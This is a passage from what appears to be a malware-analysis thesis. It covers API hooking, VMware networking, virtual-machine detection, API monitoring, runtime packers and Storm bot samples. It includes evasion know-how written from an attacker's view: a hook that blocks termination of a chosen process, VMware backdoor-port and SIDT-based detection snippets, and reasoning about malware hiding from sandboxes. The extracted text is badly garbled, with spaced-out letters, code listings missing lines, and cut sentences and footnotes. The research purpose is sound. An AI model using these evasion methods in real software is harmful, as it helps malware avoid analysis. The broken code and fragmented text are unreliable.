Code Listing 17: The callback function, and the original function declaration
// ‘‘ original ’’ function ( to be or already hooked )
UINT (WINAPI * WinExecNextHook ) (
LPCSTR lpCmdLine , UINT uCmdShow ) ;
var T e r m i n a t e P r o c e s s N e x t : f u n c t i o n ( p r o c e s s H a n d l e ,
e x i t C o d e : dword ) : b o o l ; s t d c a l l ;
function ThisIsOurProcess (
p r o c e s s H a n d l e : dword ) : b o o l e a n ;
var p i d : dword ;
arrCh : a r r a y [ 0 . . MAX PATH] o f char ;
begin
p i d := ProcessHandleToId ( p r o c e s s H a n d l e ) ;
r e s u l t := ( p i d <> 0 ) and
ProcessIdToFileName ( pid , arrCh ) and
( PosText ( ’ O u r A p p l i c a t i o n . exe ’ , arrCh ) > 0 ) ;
end ;
function TerminateProcessCallback (
p r o c e s s H a n d l e , e x i t C o d e : dword ) : b o o l ; s t d c a l l ;
begin
i f T h i s I s O u r P r o c e s s ( p r o c e s s H a n d l e ) then b e g i n
r e s u l t := f a l s e ;
S e t L a s t E r r o r (ERROR ACCESS DENIED ) ;
end e l s e
24
r e s u l t := T e r m i n a t e P r o ce s s N e x t (
processHandle , exitCode ) ;
end ;
begin
HookAPI ( ’ k e r n e l 3 2 . d l l ’ , ’ T e r m i n a t e P r o c e s s ’ ,
@T erminate ProcessCallback , @TerminateProcessNext ) ;
end .
// ‘‘ original ’’ function
UINT (WINAPI * WinExecNextHook ) (LPCSTR lpCmdLine ,
UINT uCmdShow ) ;
return t r u e ;
}
25
2.8 System Wide Hooking
Hooking system wide is the alternative to process wide. Instead of modifying
code in the process’ allocated memory range, the entire system will now be
hooked at once. Whenever a process imports a function from a system DLL, this
DLL will already be affected by the hook. If we are running multiple process, we
might need to use the supplied tool functions to determine what process made
the call. In some application areas this method of approach might be desirable
however. I have included an example of a system wide hook in appendix A. It
is possible to terminate a process using the ExitProcess API. If we hook this
API, other processes will not be able to terminate our running process. System
wide hooks takes a bit more effort, and are a bit more complicated to perform
than process wide, which is why I chose to include this in the appendix instead
of inline here. The example is called “Hook Process Termination”, and makes
use of several parts of the code hooking framework.
A simpler example showing a system wide hook of several networking APIs
are presented next. This code is not used any further, but included to demon-
strate how this is achieved. In a similar way, we can hook any system API.
typedef struct
// this is the information we send to our application
TTerminationRequest {
BYTE bSystem ;
CHAR s z P r o c e s s 1 [MAX PATH + 1 ] ;
CHAR s z P r o c e s s 2 [MAX PATH + 1 ] ;
} * PTerminationRequest ;
i f ( ! SendIpcMessage ( arrChA ,
&t r , sizeof ( tr ) , // our message
&r e s u l t , s i z e o f ( r e s u l t ) ) ) // the answer
// we can ’t reach our application ,
// so we allow the termination
26
return t r u e ;
BOOL (WINAPI * I n t e r n e t G e t C o n n e c t e d S t a t e N e x t )
(LPDWORD lpdwFlags , DWORD dwReserved ) ;
BOOL (WINAPI * I n t e r n e t G e t C o n n e c t e d S t a t e E x N e x t )
(LPDWORD lpdwFlags ,
LPTSTR lpszConnectionName ,
DWORD dwNameLen ,
DWORD dwReserved ) ;
BOOL WINAPI I n t e r n e t G e t C o n n e c t e d S t a t e C a l l b a c k (
LPDWORD lpdwFlags , DWORD dwReserved ) {
i f ( ! I s A l l o w e d ( lpszConnectionName ) ) {
S e t L a s t E r r o r (ERROR ACCESS DENIED ) ;
return f a l s e ;
} else
return I n t e r n e t G e t C o n n e c t e d S t a t e N e x t (
lpdwFlags , dwReserved ) ;
}
BOOL WINAPI I n t e r n e t G e t C o n n e c t e d S t a t e E x C a l l b a c k (
LPDWORD lpdwFlags ,
LPTSTR lpszConnectionName ,
DWORD dwNameLen ,
DWORD dwReserved ) {
i f ( ! I s A l l o w e d ( lpszConnectionName ) ) {
S e t L a s t E r r o r (ERROR ACCESS DENIED ) ;
return f a l s e ;
} else
return I n t e r n e t G e t C o n n e c t e d S t a t e E x N e x t ( lpdwFlags ,
lpszConnectionName , dwNameLen , dwReserved ) ;
}
i f ( ! IsAllowed ( socket )) {
S e t L a s t E r r o r (ERROR ACCESS DENIED ) ;
27
return f a l s e ;
} else
return l i s t e n N e x t ( s o c k e t , b a c k l o g ) ;
}
i f ( ! IsAllowed ( socket )) {
S e t L a s t E r r o r (ERROR ACCESS DENIED ) ;
return f a l s e ;
} else
return sendNext ( s o c k e t , * b u f f e r , l e n g t h , f l a g s ) ;
}
i f ( ! IsAllowed ( socket )) {
S e t L a s t E r r o r (ERROR ACCESS DENIED ) ;
return f a l s e ;
} else
return bindNext ( s o c k e t , name , namelength ) ;
}
28
InternetGetConnectedSateExCallback ,
(PVOID * ) &I n t e r n e t G e t C o n n e c t e d S t a t e E x N e x t ) ;
UnHookApi ( ”wsock32 . d l l ” , ” l i s t e n ” ,
l i s t e n C a l l b a c k , (PVOID * ) &l i s t e n N e x t ) ;
UnHookApi ( ”wsock32 . d l l ” , ”send ” ,
s e n d C a l l b a c k , (PVOID * ) &sendNext ) ;
UnHookApi ( ”wsock32 . d l l ” , ”bind ” ,
b i n d C a l l b a c k , (PVOID * ) &bindNext ) ;
}
return t r u e ;
}
2.9 Summing Up
So far we have revealed our single most important technique: API hooking. This
is the fundamental building block of many of the programs introduced in later
chapters, and used by both virus writers and malware analysts alike. Using
a framework such as MadCodeHook (or one providing similar functionality)
makes it possible to design an API spying system, where we run the program
and “sense” all its API calls in an effort to determine what actions it performs
on the system.
After hooking two or three functions, you will realize that using such a
framework is not especially hard—all that matters is knowing the interface; we
need to make our function declarations similar to the ones used by the system.
MSDN21 provides most of the information needed, but keep in mind that some
system APIs (at a lower level) are not documented by Microsoft. The most
important ones are mentioned in [34]; Others can be found using open resources
on the net, like OpenRCE.
On the other hand, there are loads of available system APIs on modern
operating systems—hooking each and every one of them manually by looking
up their definition (declaration: return value and paramter values to be precise),
takes both time and patience.
This section serves at least two purposes: First of all it demystifies API
hooking, which is important since this technique is a general one used extensively
by so many tools. Secondly, it gives us the freedom of hooking—that is, we can
now hook any system call we like, knowing that this all happens on the DLL
level, and in such a way most hooks will be independent upon the applications
or frameworks that simply call into the DLLs. From my point of view, this
second point is one of modularity.
29
3 Networking and Virtualization
3.1 Virtual Networking in VMWare
A conceptual overview of a typical network setup, where virtual machines are
to be connected to the Internet, is shown in figure 2.
Figure 2: TunnelingScheme
The host system, in our case my laptop, is tunneling the virtual machines’
traffic. By default, this is accomplished using the VMware Bridge Protocol on
the network interface that is currently in use (at home it’s my ethernet interface,
but this can be a wireless interface as well). VMware Tools takes care of network
setup, and provides a convenient gui for network configurations. The machines
can be networked logically in any way, which means that we can make them
appear as if they were real machines on the same network as the host system is
a part of. This is really just a matter of deciding what dhcp server to receive
configuration data from. We can choose either to run our own dhcp server
(on the laptop in figure 2), or tunnel dhcp requests and responses to and from
the router. In some applications, virtual machines might be better of having
an ip address in the same network range as the host, and sharing the same
default gateway. But, in most cases we are prone to ignorance as long as we
are connected to the outside world, and can control our virtual networks as we
like. The alternative is to deploy a pure virtual network within, and let the
host system appear as a router to the outside world. In this case, the virtual
machines will be using the host as default gateway, and can use an IP address
of any range.
There are basically three possible configurations. I’ll describe them in short
below. The output of ipconfig (running from cmd) is shown as a simple demon-
stration in figure 3.
Host to Guest Private Networking The host and guest systems communi-
cate privately, i.e. they form their own private LAN. Multiple guests can
join in on this network. If needed, packets can be tunneled out via the
host system. Guests simply use the host system as default gateway.
NATing to the outside world Host and guest(s) share a common IP ad-
dress, and appear as a single entity to the outside world. On the UD-
P/TCP level, packets going to and from flows identified by a host ip
address and a host port number, are forwarded to a predefined guest ip
address and a guest port number.
30
Figure 3: ipconfig run from the host system (laptop)
31
Tunneling out on the default adapter The host system tunnels the guest(s)
transparently. Guest systems can then join the existing local area network
where the host is currently connected.
On the virtual machine (figure 4), you can see that a simple virtual network
is deployed. The machine uses 192.168.15.2, in our case. This is the virtual
outbound ethernet interface. When seen from the virtual world, this is the
(default) gateway; where all outbound traffic passes. The host (residing on the
laptop) then forwards (tunnels) all traffic to its own (default) gateway.
On the host system, you see three virtual ethernet adapters. Well, it’s really
just two22 , as one of them is my real ethernet network interface, now upgraded
to include the VMware Bridge Protocol, giving it “virtual” powers.
When we use the network adapter currently in use, we can make the vir-
tual machines appear as part of our network. 10.0.0.1 is the ip address of the
router in this case. When virtual systems send dhcp requests, they are tunneled
through the laptop. From the router’s point of perspective, the laptop is now
transparent.23
VMnet1 shows the configuration when we deploy a separate virtual network
within, and VMnet8 does exactly the same, but using NATing, which can be
smart if we are to deploy some kind of service to the outside world, say a web
server forwarded on a specific port. In the latter case the virtual system will
appear to share the host’s ip address. Internally, the virtual system has its own
address, but this is NATed behind the host, which means that predefined ports
on the host are forwarded directly to the guest24 .
From the figure you can also see a fourth tunnel, having an ip address of
high amount of ’f’s25 . Using ipconfig /all, we see that its physical address
consists of all ’f’s. This is a multicast interface.
A good presentation motivating virtualization is [38].
22 meaning only two 100% pure virtual adapters, but three all in all
23 apart from the host system going about with its normal life, but when communicating
with the virtual system, the router has no knowledge of the laptop’s presence
24 So the ports, although residing on the host machine, will be used by the guest exclusively.
25 in hexadecimal, ie. 1111 in binary, or 15 if you’re still using the decimal format :P
32
Figure 5: Networking in VMware. Simple. Plug ’n play, but still flexible.
IN EAX, DX
The official VMWare Tools are supposed to use the same method, and
Agobot uses this method as well.
A dedicated i/o port is used for communication: port number 5658 (hex),
or “VX” by default. When issuing a command to the backdoor, the following
happens:
A magic value, ’VMXh’, is loaded into the EAX register
The i/o port number (5658h, aka “VX”), is loaded into the DX register
Then, the in or the out instruction is used. The difference is that the out
command returns a value in the EAX register.
33
IN EAX, DX
OUT DX, EAX
The most important commands are displayed in figure 6. A detailed docu-
mentation can be found on the VM Back webpage26 .
34
We can choose not to include the VM code, save a couple of bytes, but
be forced to act in ignorance to the issue. Meaning that the program would
behave exactly the same on a virtual system, as it would on a real system. On
an analysis system, the program would be run, and whatever actions it made
would be recorded. Dynamic analysis techniques can be used efficiently in such
a manner.
If we rather go for the alternative, and choose to include VM detection code,
we can make intelligent decisions knowing this fact. We could, for instance,
perform some additional tests to see if this is a typical honeypot setup, or if the
system appears suspicious in other ways. As was noted earlier, the fact that the
system is a virtual one might not mean anything. But the fact that the system
is compromised, either being a honeypot or an analysis platform, can be of great
concern. At least if we are to protect our trade secrets.
In other words, the malware author can choose whether to make the code
more stealthy, by using anti VM techniques, or create more cynical creations
that simply attack everything it encounters (and leave it out).
So the next question to ask is, naturally. . .
if (we.detectVM()) {
// what to do?
}
We will see later how insanely trivial it is to detect a standard installation of
VMware. Of course, it might not be just as easy to write the code that performs
actions upon such a detection event.
We can classify at least three major threats, in growing order of sophistica-
tion:
Detect the VM, and choose not to run
Launch a DoS attack, crashing or stopping the VM
Escape from its isolated environment and spread to real systems
The latter two being a prerequisite of the first of course; it makes no sense
to try launch a DoS attack on a system that isn’t there, or trying to escape
from a nonexistent system. The same goes for trying to escape from a VMware
VM, when running on Hydra or Virtual PC. So the detection part of this attack
also has an aspect of determining the type of virtual system present. This last
part may simply boil down to running multiple detection snippets in turn to see
which one checks out. That’s the straight forward way of doing it at least.
Most virtual machine systems aren’t designed to be transparent[13]. Also,
timing factors work against you when trying to emulate one system on another.
In software, timing penalties are enourmous, but modern CPU technology has
support for virtualization in hardware, speeding things up severely. After trying
out VMware I was stunned. It ran much more smoothly than I would ever imag-
ine. It’s insane really. Intel IVT’s and AMD-V’s processors have an additional
operating mode implementing virtualization support[13]. This means that it’s
no longer sufficient to check for the existance or whereabouts of registers and
the like, which many of the documented attacks on virtual systems focus on27 .
27 My point is that the hardware support actually makes the larger part of the documented
attacks useless
35
In theory, detecting virtual machines is an advanced task to overtake. Ru-
mors has it that many Intel engineers believed it would be impossible to detect
the virtuality of the system once implemented in hardware. Nearly every ele-
ment of the “real” computer is duplicated in the virtual system. The sad part
is that it is possible, by looking for timing differences in reading and writing
buffers [13]. The attack (naturally) targets elements that binds the virtual sys-
tem to the real system—Buffers called Translation Lookaside Buffers, or TLBs.
The hypervisor is the virtual machine’s interface to the real system. It
is the software, or middleware, running on top of the real cpu. Whenever an
instruction is executed on the virtual system, it is interpreted by the hypervisor,
and the job is completed on the real cpu, in the native language, after which
the result is returned to the virtual machine. When a certain, unpriveleged
command is executed, in this case a CPUID instruction, specific to the hypervisor,
an exception occurs and some of the pages buffered in the TLBs are flushed.
It takes time to refill these pages, which can be noted by doing some tests
involving read access times. It’s very hard to have any real concept of global
time, but differences in timing can always be measured. Hardware support goes
a long way in making virtual systems transparent it seems, but with enough
probing, VMs can be revealed. Creating a VM that is completely transparent
and undetectable, is probably a daunting task. This is more or less the same
as emulating one system perfectly on another. But, with hardware support, we
have come a long way.
Peter Ferrie has written an excellent article discussing attacks on virtual
machine emulators[13], which I have used extensively to understand this problem
in the general case. It discusses several of the points I have mentioned here in
greater detail.
An earlier paper that is referenced throughout most of the articles I have
come across is [21]. Research on honeynets have treated this problem as well[32,
36]. For a concise and technical article on antidebugging see [3].
The upside of this is that if a program performs that many memory reads,
predeployed API hooking traps28 are prone to picking them up. In some cases,
programs showing such behaviour can perhaps be flagged as suspicious. It might
help us determine if the sample we are looking at is malicious or not, but it need
not help us at all in determining its true malicious actions. This is a general
problem faced by analysis. The malware can choose not to reveal its actions
(the payload), by ensuring only to execute on potential victims and thereby
avoid being caught by honeypots or analysed by malware researchers. It seems
anti debugging/disassembly and anti honeypot techniques go hand in hand.
But there’s another point in here as well, that has to do with stealth. It
should be clear that stealth is malware’s biggest ally (that, and networks, or
course). If modern botnets are to be of any use for the puppet master (whoever
is giving it commands), the users of the compromised clients must not know of its
presence, otherwise the bot risks a sudden shutdown. So in most cases, stealth
simply means to avoid detection. Such techniqes are normal in trojans. In
fact, bots are often categorized as trojans by AV products. For instance, avast!
detects two samples of the Storm bot as Win32:Tibs-AFP [Trj], Win32:Tibs-
AER [Trj]. The different files are probably different versions holding more or less
the same code. When looking more closely, they are both packed using UPX,
28 spying sensors, if you like
36
but their images in memory vary slightly. They both show the same general
structure however.
Figure 7: avast! catching the Storm Worm, aka Tibs Trojan p2p bot spreading
via spam
In this case the bot has failed the real stealth test, and hence whatever
mission it was written to handle, as my antivirus detected it. But it could
still, in the general case (i’m not saying that this particular sample use these
techniques) be using another aspect of stealth. One that says, “okay, so you
detected me, but you still can’t find out what i’m really all about”. I’m not
sure if i’m allowed to call these methods stealth techniques; they are certainly
more properly referred to as armor techniques [34], but still they might easily
be confused.
In this context, the malware author is trying to keep his trading secrets
by making the distributed executable hard to dissect and analyse. The most
malicious exploits can be hidden inside these overly packed files; in other words,
the armoring techniques in which the malware is contained pose a stealth issue
beyond that of simply avoiding detection. Even though in some cases, the
techniques may overlap. Say for instance if you consider running in a virtual
environment too risky, and would prefer that your malware rather not run in
case this is detected, you might have avoided both being analysed by malware
researchers or automatic dynamic analysis systems, avoided being picked up by
a honeypot, and perhaps even avoided being detected by native (host) antivirus.
AV scanning products use virtual systems as well. Or simpler jails, or isolated
environments. If such an environment can be detected, the malware would be
much better off not to run, and instead behave friendly or legitemately, at least
for the time it is being analysed by the AV engine. If the code plays its cards
right, it might even avoid being detected. This way it can do the work of the
puppet master for a bit longer. Again, it is best to stay hidden. I suspect that
this is a bigger concern than keeping “trade secrets” in most cases.
Just as our systems can never really be sure of the legitemacy of our running
programs, the programs themselves cannot really be sure of what system they
are running on either. And as long as you can’t say for sure what system you are
37
running on, you can’t really make any decent if-statements or switch-statements
changing the program’s behaviour in accordance to this either. This is heavily
related to integrity, which as stated earlier, is what malware boils down to—an
integrity problem.
In order to be perfectly sure what platform the malware is running on, it
will have to perform several tests on it. The point being, that it might have
to perform actions not normally seen in legitimate programs. All in order to
be as stealthy as possible, but the efforts needed to achieve the greatest level
of stealth are likely to involve running commands that would seem strange, or
repetitous (when testing for several types of systems one by one for instance),
or can otherwise be flagged as suspicious. Say we are analysing ten samples.
Perhaps it can be possible to focus our analytical efforts on the one seeming the
most maliciuos in this way. Or help in choosing what samples to analyse further
in some other way. After all, the real problem is the growing number of malicious
samples available for analysis (or spread on the internet). It might be helpful
to say which samples need more attention and which are purely cut-pasted or
repacked versions of samples already analysed.
Another approach is to flag commands that are not normally used as suspi-
cious in the first place. Commands such as the one that ask for cpu info isn’t
exactly very useful to a legitimate application as far as I know. What kind of
legitimate program would care if it is running on a virtual system or not?29 If I
buy a software suite I would very much like it to run on both my real hardware
and on virtual machines, thank you very much.
The theoretical aspects of this is quite sophisticated in my opinion. In prac-
tice, however, the attacks are often much more straight forward. On VMware
using default settings, we can simply ask the machine what version it is running,
and it will say “hi, i’m VMware version 6 beta 3, how are you doing? PS: You’re
currently running on a virtual system”. In this case it is really the backdoor
that is detected.
The question arises. Can we make it transparent? And as will be shown,
we can in fact patch the binary in order to make it more stealthy. Research on
honeypots and honeynets have already looked into this issue, as virtual systems
are great foundations for honeypots as well. They are good at immitating a real
system, can be deployed quickly in large numbers, and recently features such as
snapshots make them even more versatile; After infection, the honeypots can be
put into the state it was in just before infection occurred, and voila, it’s ready
to fetch another malicious sample right away.
Reduced privilege guest The simplest setup, where the guest OS is run with
reduced privilege with reference to its host.
29 This discussion could continue to involve DRM. I suspect anti-DRM techniques to have
38
Hardware-assisted Making use of hypervisors: HW-assisted virtual machine
emulators; IVT and AMD-V are processors capable of running such a
hypervisor. VMware implements this.
Buffered Code Emulation Emulates instuctions in software. This enables
intercepting instructions (not possible using the hardware-assisted ap-
proach).
Exceptions
Registry keys
On the Intel x86, you can perform input/output operations using the instruc-
tions in and out. Both of them are privileged, meaning they cannot be used
while in user mode without the necessary privileges. An exception of the type
EXCEPTION_PRIV_INSTRUCTION will be raised in cases when such an operation
is illegally executed.
The detection algorithm shown below is taken from The Code Project 30 , but
can be found elsewhere as well. Bots such as Agobot and Rinbot/Vanbot use
similar methods.
Because VMWare uses registers to transfer opcodes and parameters, this
cannot be performed using a high level C-library or equivalent. If VMware is
not present, an exception will occur when trying to execute the in instruction
on VMware’s specific port. This is why an exception handler is set up at the
start, in the code below. As attackers we sincerly hope that the program will
be run on a potential victim, and hence we hope that the underlying system is
something else than VMware. Since the exception, when raised, will cause con-
trol to be transferred to whatever exception handling mechanism that governs
the execution, if we had not set up such an exception handling mechanism our-
selves, control would be given to the system our program runs in, and probably,
control would not end up back to our program to continue executing the rest. If
there’s no exception handling mechanism available, the system would normally
just crash or halt, as there’s no decision taken as to what to run next.
I have kept most of the original comments from the source (below), but
added some, and rearranged it a bit to become more intuitive, but still simple.
30 http://www.codeproject.com/system/VmDetect.asp
39
Code Listing 22: Code detecting VMware
b o o l IsInsideVMWare ( ) {
bool rc = true ; // indicator variable
try { // set exception handlers
asm { // ( in case VMWare isn ’t present )
push edx
push ecx
push ebx
pop ebx
pop ecx
pop edx
}
}
e x c e p t (EXCEPTION EXECUTE HANDLER) {
r c = f a l s e ; // VMWare isn ’t present
}
return r c ;
}
31 www.invisiblethings.org
40
The following has the structure <instruction> <address>. The first 16 bits
yields the instruction SIDT (Store Interrupt Descriptor Table Register). The
operand is the address.
"\x0f\x01\x0d\x00\x00\x00\x00\xc3";
In ”meta-assembly” it would translate to:
sidt <address>
The rest of the code extracts the contents of the IDTR (Interrupt Descriptor
Table Register), and tests its value. A relocated IDT will indicate the presence
of a virtual system. The SIDT is called from usermode (ring 3).
scoopy doo is a VMware Fingerprint Suite that uses the technique described
as RedPill above, and also incorporates a similar technique known as Nopill, that
tests two other registers: LDT and GDT.
The SIDT instruction has a cousin named SLDT (Store Local Data Table),
and another one named SGDT (Store Global Data Table), that retrieves the
data of the LDT (Local Data Table) and GDT (Global Data Table) respectively.
These values will also indicate the presence of a virtual system. Just as in the
Redpill case these assembly instructions can be called from usermode. The
source code of Nopill has been included in the appendix.
41
4 Memory Scanning and API Monitoring
In this section we will look into different techniques for memory scanning and
API Monitoring. The methods all build heavily on those of API hooking, which
should be seen as one of our most fundamental building blocks. It might turn out
to be the most effective way to solve the problem of determining what happens
to a system when malicious code is run on it.
The general though is this: Picture the scenario where we are to determine
what registry keys are used to start a piece of malicious code after every reboot.
One way to go about could be to have a snapshot of a clean registry file—
as a baseline—and then compare the registry after execution to determine the
difference, which should then reveal “the malicious” registry key.
But in order to set a registry key, PE executables are prone to use the win-
dows API, namely RegCreateKeyW, RegCloseKey etc. Hence, we can monitor
their usage. Every API monitoring program I have tested in this project uses
some form of API hooking technique to do this. The frameworks and hooking
APIs differ, but the general approach is similar.
Likewise if we are to determine file changes, we can hook CreateFileW,
ReadFile, WriteFile, DeleteFileW etc. Ideally, this should give us the same
info as the difference between the baseline and the image after execution—but
it could also give an even more precise picture, since we are now able to sense
all the tiny changes that eventually becomes the state after execution. If a file
is created, and then deleted afterwards, the simpler approach of considering two
states (i.e. before and after execution), might fail to detect any change at all.
and is a superlative meaning something like “having supernatural skills”, “being the best there
is”, or simply “professional”. It is often used to refer to the best player(s) of a game, or a
42
NTQueryVirtualMemory() A translation of the VirtualQueryEx() API to
the ZwQueryVirtualMemory().
NtTerminateProcess() Terminates a running process
NtOpenThread() Opens a new thread within a running process
NtSuspendThread() Suspends a running thread within a process
NtResumeThread() Resumes a running thread within a process
43
OpenProcess() Opens a process
NTQWI Used by PSAPI.dll, which mostly consists of wrappers around native
APIs (Ntdll.dll)
NtQueryInformationThread() Gets the start address of a thread
NtOpenThread() Opens a thread
NtSuspendThread() Suspends a thread
******************************************
From kernelmode some interesting APIs are:
******************************************
4.2 Tools
All of the tools below have intuitive GUIs, are easy to use and free of charge.
Compared to the tools presented in the automation chapter, they fall short on
scripting possibilities. This is essential when trying to automate the analysis
process, and hence these tools are not discussed in any greater detail here.
Nektra Advanced Computing: Spy Studio 2007 API Monitoring and in-
terception. Classifies APIs into several categories such as File I/O, DLL
functions and Error Handling Functions. Introduces the Deviare API
Hooking Framework.
Dev Stuff WinAPIOverride32 API Monitoring and function overriding. Can
call any function of the targeted application, and even break inbetween
function calls, allowing for memory and registry modifications.
KaKeeware Application Monitor API Monitoring; Simpler and more ”light-
weight” than the two above.
Kerberos API Monitoring tool with russian descent.
Dependecy Walker 2.2 Builds a hierarchical tree diagram of all dependent
modules, showing what APIs are used. Every module’s exports are shown,
together with which functions are actually used by other modules. I have
used this tool to analyse W32.CTX; The results are displayed in the ap-
pendix.
n.bug A library call trace tool
44
Process Stalker A plugin for IDA Pro, designed to ”stalk” a process in order
to determine its actions. A newer version has been created for the PAIMEI
project, PAIMEIpstalker, discussed in the automation chapter.
Please see the reference section at the end of this document for availability
of these programs.
45
5 Packers
In this section I will discuss the mechanisms of runtime packers—software that is
designed to unpack its payload once executed, but in such a way that unpacking
without running them, is hard. Such software is still legal to make, but are
generally used more often by malicious programs than legitimate programs, and
could hence be used as an indicator of suspiciousness.
I will begin by discussing briefly the techniques used by a modern packing
mechanism, namely the use of an interpreter working as a virtual machine. Such
a VM can have an unknown byte code format, which can make it very hard to
unpack.
I will continue to unpack several samples of the Storm bot, which is packed
using UPX. This part will demonstrate that samples looking completely different
in packed form, might in fact turn out to hold the same payload.
Towards the end I will discuss EXECryptor, which is used to pack Rinbot/-
Vanbot. Samples of this bot is reported to detect virtual machines and OllyDbg
34
.
I finish this section by referring the reader to work done on automating the
unpacking process of runtime packers: PolyUnpack.
46
interchanging instructions and adding or modifying code. “Why?”; to thwart
understanding, analysis and make dumping harder. A new technique is to make
use of a virtual machine, and then include an embedded interpreter within
the code. These machines often work on proprietary or unknown (byte-code)
formats, as pointed out in [28].
5.2 HyperUnpackMe2
To get a feeling for what we might be up against, i have listed some of the actions
taken by the packing mechanism of HyperUnpackMe2 below. This indicates that
people designing packers are willing to go a long way in obscuring the packed
image. A full analysis can be read in [28].
Modifies the orignal code
The orignal data in the original IIDs and IATs have been set to zero.
47
their news service, or perhaps through some other channel using email addresses
harvested from this shop’s customer registers37 . My old power supply had a
sudden death after some extensive late night gaming, so I went to buy a new
one. Now of course, you can’t expect to get a new power supply without giving
out your name and an email addres. (sigh) I remember regretting giving out my
private address that very second, thinking “well now i’m bound to be spammed.”
And boy was I right. As the spam came in the next morning, there were very
few doubts as to where it originated. The email address I normally give out (all
over the web) hasn’t received a single spam message. Ever!38
The spam messages were quite strange really, consisting mostly of weather
updates and changes in the stock market (as if I care about any of the two. . . ).
They all had the same graphical-text thing going on in the start. I’ve included
an example in figure 10.
What really makes this interesting is that the spam messages were not de-
livered alone. They all had attachments, which I later found out to be packed
executables of the Storm Bot—Which got its name from the contents of most
of the emails during the initial outbreak of what some refer to as the “Storm
Worm”. It’s perhaps more preferably referred to as an email virus, or rather a
peer to peer bot, spreading through spam. What makes it resemble a worm is
the networking, or bot functionality. Making an infected user a part of bot-
net; a zombie client that can be used for whatever the puppet master has
in mind. avast! refers to the samples as Tibs Trojan, and there are other
names which I believe refers to more or less the same code. (I will be look-
ing into more samples of the Storm bot later) For instance, F-Secure has a
detailed description on trojan-downloader named Small.DAM. With aliases:
Trojan.DL.Tibs.Gen!Pac13, Trojan-Downloader.W32/Small.DAM and Storm
Worm. Symantec refers to this sample as Trojan.Peacomm, and gives the same
story on behaviour. The executables are spread via spam messages, that holds
.gif image files that contains a password, and a packed zip file , or more precisely
37 We might find out when I tell them to remove me from their registers any day now :D if
the spam stops I presume someone is using their channel in some way.
38 since it was created almost three years ago.
48
a driver39 .
The virus is also known as Troj/Dorf-Fam (Sophos), W32/Tibs (Norman),
TROJ SMALL.EDW (Trend) and Downloader-BAI!M711 (McAfee).
According to Symantec, Trojan.Peacomm is supposed to “drop a system
driver named wincom32.sys, which is evident from my analysis as well. Looking
at figure 19, at the last location, there is a push offset FileName, with the
trailing comment: wincom32.sys.
After dropping the system driver, which is an executable of the PE format,
the malware is reported to inject the payload and create hidden threads in the
services.exe process, using a sophisticated technique similar to a backdoor
named Rustock [18, 22].
Symantec also reports that it does not hide its presence, nor its registry
keys. So detecting it dynamically should in this case be easy. Of course, that
is detecting it after it has been run. This is something completely else than
detecting it in order to stop it from spreading—at a host or at a network node,
for instance. Packers are the general problem here it seems (as noted earlier).
But we can nevertheless perform tests by running the program and noting its
behaviour. One thing that is of interest is its injection method, and related
stealth techniques. Another aspect is the networking.
The bot is reported to be using UDP port 4000 for network traffic, and down-
loads malicious files over peer-to-peer networks. Compared to the traditional
configuration where there is a central command center, or a few central down-
loading sites, Storm/Peacomm has a much more distributed nature. It starts
out with a few initial addresses, but builds up a list of infected peers by down-
loading additional malware and addresses of hosts infected by other members of
the botnet. In this way the bots share data (on infected hosts), relay spam mail
on TCP 25 (W32.Mixor.Q@mm) and harvest email addresses40 . The addresses
are stored in a jpg file, but i’m not sure (yet) if this is the same method as the
one used for the passwords in the spams.
Analysis (from the wild) by response teams and AV companies report that
the attachments often have the following filenames:
FullVideo.exe, Full Story.exe, FullClip.exe, Full Story.exe, Read More.exe
and Video.exe.
These are all remarkably similar (nearly identical) to the ones in my own
spam-box. All of this gives very good reason to believe that the same bot,
although perhaps in different versions, is distributed through a hijacked channel
(in some way), since the spam messages keeps coming in. We have already seen
that the same malware is packed in different ways in Tibs-AER, so there is a
high risk that the other samples use different packing schemes as well. They
do however all report to use UPX. The next step of this analysis could be
to determine the differences in the versions—or similarities perhaps. I guess it
should be possible to unpack the binaries, so that we can analyse them statically,
but another option is readily available as well. Now that we have unpacked one
of the versions (several binaries holding identical code to be exact), we have the
advantage of knowing its imports41 . This means that we can fire up a virtual
system, hook the APIs that the malware is known to use, and flag the APIs as
39 More info is available from the references in the appendix. See Symantec’s Peacomm blogs
40 which might be what have happened to me.
41 and of course its exports, but in both cases this is the function start, so it is not important
at this time
49
they are called. If other variants use the same APIs, they are prone to executing
more or less the same code, or at least show similar behaviour. If we set traps
system wide—on every possible system call (and a few more perhaps, never
underestimate undocumented interfaces), we can take notice of which APIs are
used, and which are not42
All figures that follow in this section have been created using IDA Pro, except
for figure 17, which has been created using PEExplorer.
The executables are all packed using UPX, but we see that the images of
the binaries in memory can still be different. Still, the code looks much the
same when in comes to overall structure, apart from the sample that came
as opr01QX2.exe43 , that clearly stands out. I have included a figure showing a
zoomed out view of the locations and the transitions of this seemingly chaotically
packed sample, and a close-up view of the others. The green (if using colours.
If not it says true) arrow that points back to bite its tail marks the decryptor
loop.
Comparing FullNews.exe and opr01QX2.exe, shown later, we can see that
the intial and the last location (the first and the last block) are identical. The
both push the value of 0 (zero) onto the stack twice. This is also true for
GreetingCard.exe, but it uses a different method.
Video.exe only pushes 0 onto the stack once in its initial location. But, it
then jumps to the last location, where 0 is pushed onto the stack once more.
In all cases, this seems to be the control logic that governs the execution of the
decryption loop.
It is fair to say that they all show an algorithm that has the purpose of
unpacking parts of the saved (binary) image, but the last sample that stands
out seems far more complex than others44 . Compare opr01QXR.exe, aka Tibs-
AFJ (29 kB) shown in figure 14 with opr01QX2.exe, aka Tibs-AER (26 kB)
shown in figure 15.
The sample in figure 15 looks entirely different when seen in packed form
in memory; but later turns out to hold the exact same piece of malware as
seen in many of the other simple loop variants (not R though, but several of
the others that show identical structure). The code isn’t visible in this figure,
only locations (chunks of code) and the transitions between them. My point
is not to describe this packed sample in detail, but to demonstrate that even
though samples can have totally different images in packed form, they can infact
unpack to exactly the same executable. The two samples considered will clearly
not have the same MD5 or SHA-1 hash value!
They all export a function named Start, and imports resemble those shown
in figure 16, for the Video.exe file. The structure of this (packed) binary is
shown in figure 13. Again, this holds the same malicious payload.
What is to say about Video.exe is that ebp xor ebp yields 0 (zero) as we all
know. Same goes for eax at the top. Push 0 (onto the stack), call end procedure
(last location, 40F351 in this case), compare eax with 0 (has the value of eax
42 This is probably a picture of an ideal world. Then there’s anti-VM and anti-debugging
its cousin with an “R” in the end. The names can be very confusing, so i will avoid using them
very much.
44 I have not analysed this image further, but it is one of the samples that was successfully
50
Figure 11: FullNews.exe (packed Storm sample)
51
